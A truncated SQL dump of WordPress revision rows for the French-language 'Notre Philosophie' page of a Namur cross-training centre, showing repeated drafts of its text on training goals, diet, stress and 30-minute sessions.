(295, 1, '2013-07-04 19:01:11', '2013-07-04 19:01:11', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;blockquote&gt;\r\n&lt;h4&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.&lt;/h4&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:01:11', '2013-07-04 19:01:11', '', 5, 'http://www.crosstrainingcenter.be/5-revision-41/', 0, 'revision', '', 0),
(297, 1, '2013-07-04 19:04:28', '2013-07-04 19:04:28', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n[caption id=\&quot;attachment_102\&quot; align=\&quot;alignnone\&quot; width=\&quot;300\&quot;]&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.[/caption]\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:04:28', '2013-07-04 19:04:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-43/', 0, 'revision', '', 0),
(296, 1, '2013-07-04 19:02:56', '2013-07-04 19:02:56', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n[caption id=\&quot;attachment_102\&quot; align=\&quot;alignnone\&quot; width=\&quot;300\&quot;]&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt; Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.[/caption]\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:02:56', '2013-07-04 19:02:56', '', 5, 'http://www.crosstrainingcenter.be/5-revision-42/', 0, 'revision', '', 0),
(298, 1, '2013-07-04 19:07:45', '2013-07-04 19:07:45', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:07:45', '2013-07-04 19:07:45', '', 5, 'http://www.crosstrainingcenter.be/5-revision-44/', 0, 'revision', '', 0),
(299, 1, '2013-07-04 19:10:38', '2013-07-04 19:10:38', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:10:38', '2013-07-04 19:10:38', '', 5, 'http://www.crosstrainingcenter.be/5-revision-45/', 0, 'revision', '', 0),
(301, 1, '2013-07-04 19:11:52', '2013-07-04 19:11:52', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:11:52', '2013-07-04 19:11:52', '', 5, 'http://www.crosstrainingcenter.be/5-revision-47/', 0, 'revision', '', 0),
(300, 1, '2013-07-04 19:11:13', '2013-07-04 19:11:13', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:11:13', '2013-07-04 19:11:13', '', 5, 'http://www.crosstrainingcenter.be/5-revision-46/', 0, 'revision', '', 0),
(302, 1, '2013-07-04 19:13:28', '2013-07-04 19:13:28', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:13:28', '2013-07-04 19:13:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-48/', 0, 'revision', '', 0),
(303, 1, '2013-07-04 19:14:58', '2013-07-04 19:14:58', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 100px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; 